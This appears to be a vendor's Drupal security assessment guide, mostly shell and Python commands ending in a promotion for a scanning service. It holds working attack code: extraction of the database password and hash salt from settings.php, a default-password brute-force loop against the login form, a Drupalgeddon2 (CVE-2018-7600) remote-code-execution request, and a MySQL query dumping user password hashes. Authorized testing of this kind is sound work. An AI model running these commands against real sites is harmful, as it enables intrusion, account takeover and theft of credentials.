Drupal is one of the most widely deployed enterprise CMS platforms — used by governments, universities, and large organizations worldwide. Key assessment areas: sites/default/settings.php exposes MySQL credentials and the hash_salt used for all token generation; Drupalgeddon2 (CVE-2018-7600) remains in production on unpatched instances; the JSON:API module may expose content without authentication; and the config sync directory may contain YAML files with API keys and credentials. This guide covers systematic Drupal security assessment.
# Drupal — settings.php MySQL credential and hash salt extraction
DRUPAL_URL="https://site.example.com"
# sites/default/settings.php — Drupal main configuration
cat /var/www/drupal/sites/default/settings.php 2>/dev/null
# $databases['default']['default'] = [
# 'driver' => 'mysql',
# 'host' => 'localhost',
# 'database' => 'drupal',
# 'username' => 'drupal',
# 'password' => '...', <-- MySQL database password
# 'prefix' => '',
# ];
# $settings['hash_salt'] = '...'; <-- used in all Drupal token generation
python3 -c "
import re
content = open('/var/www/drupal/sites/default/settings.php').read()
pw_match = re.search(r\"'password'\s*=>\s*'([^']+)'\", content)
salt_match = re.search(r\"hash_salt'\]\s*=\s*'([^']+)'\", content)
if pw_match: print(f'DB password: {pw_match.group(1)[:60]}')
if salt_match: print(f'Hash salt: {salt_match.group(1)[:60]}')
" 2>/dev/null
# Test default admin credentials at /user/login
for CRED in "admin:admin" "admin:password" "admin:drupal" "administrator:admin"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
# Get CSRF token
FORM_TOKEN=$(curl -s "${DRUPAL_URL}/user/login" | \
grep -oP 'name="form_build_id" value="\K[^"]+' | head -1 2>/dev/null)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${DRUPAL_URL}/user/login" \
-d "name=${USER}&pass=${PASS}&form_id=user_login_form&form_build_id=${FORM_TOKEN}&op=Log+in" \
-c /tmp/drupal_c -b /tmp/drupal_c 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Drupal — Drupalgeddon2 CVE-2018-7600 and update.php assessment
DRUPAL_URL="https://site.example.com"
# CVE-2018-7600 — Drupalgeddon2 (March 2018)
# Remote code execution via Drupal's Form API AJAX mechanism
# Affects Drupal 6.x < 6.38, 7.x < 7.58, 8.x < 8.5.1
# Check Drupal version
curl -s "${DRUPAL_URL}/CHANGELOG.txt" 2>/dev/null | head -5
# OR
curl -s "${DRUPAL_URL}/" 2>/dev/null | grep -oP 'Generator.*Drupal \K[0-9]+\.[0-9]+\.[0-9]+' | head -1
# Test CVE-2018-7600 — Drupal 7 form AJAX RCE
# (Proof of concept — for detection only in authorized testing)
curl -s -X POST "${DRUPAL_URL}/?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=id&name%5B%23type%5D=markup" \
--data "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password" \
2>/dev/null | grep -oP 'uid=[0-9]+' | head -1
# If uid= appears in response body: VULNERABLE
# Check update.php accessibility (should require maintenance mode)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${DRUPAL_URL}/update.php" 2>/dev/null)
echo "update.php: HTTP ${STATUS}"
# 200 = potentially accessible — can trigger database updates if admin is logged in
# Should redirect to /update.php/selection requiring authentication
# Check install.php (should be removed or blocked)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${DRUPAL_URL}/install.php" 2>/dev/null)
echo "install.php: HTTP ${STATUS}"
# Drupal JSON:API and REST API — content enumeration and assessment
DRUPAL_URL="https://site.example.com"
DB_PASS="extracted-db-password"
# Drupal JSON:API — may be enabled and unauthenticated by default
# Enumerate all content types and nodes
curl -s "${DRUPAL_URL}/jsonapi/" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
links = d.get('links',{})
for name, link in links.items():
if isinstance(link, dict):
print(f' {name}: {link.get(\"href\",\"\")}')
else:
print(f' {name}: {link}')
except: pass
" 2>/dev/null
# List all nodes (articles, pages, etc.) via JSON:API
curl -s "${DRUPAL_URL}/jsonapi/node/article" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total: {d.get(\"meta\",{}).get(\"count\")}')
for n in d.get('data',[])[:5]:
a = n.get('attributes',{})
print(f' {a.get(\"title\")} | status={a.get(\"status\")} | uid={n.get(\"relationships\",{}).get(\"uid\",{}).get(\"data\",{}).get(\"id\")}')
" 2>/dev/null
# REST API — CSRF token for state-changing requests
CSRF=$(curl -s "${DRUPAL_URL}/rest/session/token" 2>/dev/null)
echo "CSRF token: ${CSRF:0:30}..."
# MySQL — extract Drupal users table
mysql -u drupal -p"${DB_PASS}" drupal 2>/dev/null << 'EOF'
-- Drupal users with password hashes
SELECT u.uid, u.name, u.mail, u.pass,
u.status, u.created, u.login
FROM users_field_data u
WHERE u.uid > 0
ORDER BY u.uid
LIMIT 20;
-- pass: $S$ (SHA-512+salt) format for Drupal 7
-- pass: $2y$ (bcrypt) for Drupal 8+
-- Check for admin users (uid 1 = site admin)
SELECT uid, name, mail FROM users_field_data WHERE uid = 1;
EOF
| Security Test | Method | Risk |
|---|---|---|
| settings.php MySQL password and hash_salt extraction | Read sites/default/settings.php — database credentials; hash_salt enables generating valid one-time login URLs for any user without knowing their password | Critical |
| CVE-2018-7600 Drupalgeddon2 RCE via Form API AJAX | POST /?q=user/password with #post_render passthru — unauthenticated remote code execution on unpatched Drupal 7.x < 7.58 and 8.x < 8.5.1 | Critical |
| Admin credential brute-force (admin/admin) | POST /user/login — Drupal 1 (admin) account; full site administration, module installation, user management | High |
| JSON:API unauthenticated content enumeration | GET /jsonapi/node/article — all published content; user IDs, email addresses via relationship data; total content count | Medium |
| users_field_data SHA-512 and bcrypt password hash extraction | MySQL SELECT pass FROM users_field_data — all user password hashes including uid=1 site admin | High |
Ironimo tests Drupal deployments for sites/default/settings.php MySQL password and hash_salt web exposure, CVE-2018-7600 Drupalgeddon2 Form API RCE assessment, admin/admin credential brute-force at /user/login, Drupal version disclosure via CHANGELOG.txt for CVE targeting, JSON:API /jsonapi/ unauthenticated content enumeration and user ID extraction, REST API /rest/session/token CSRF token accessibility, update.php and install.php HTTP access assessment, users_field_data bcrypt and SHA-512 password hash extraction, config sync directory YAML file API key scanning, and private files directory web-accessible content assessment.
Start free scan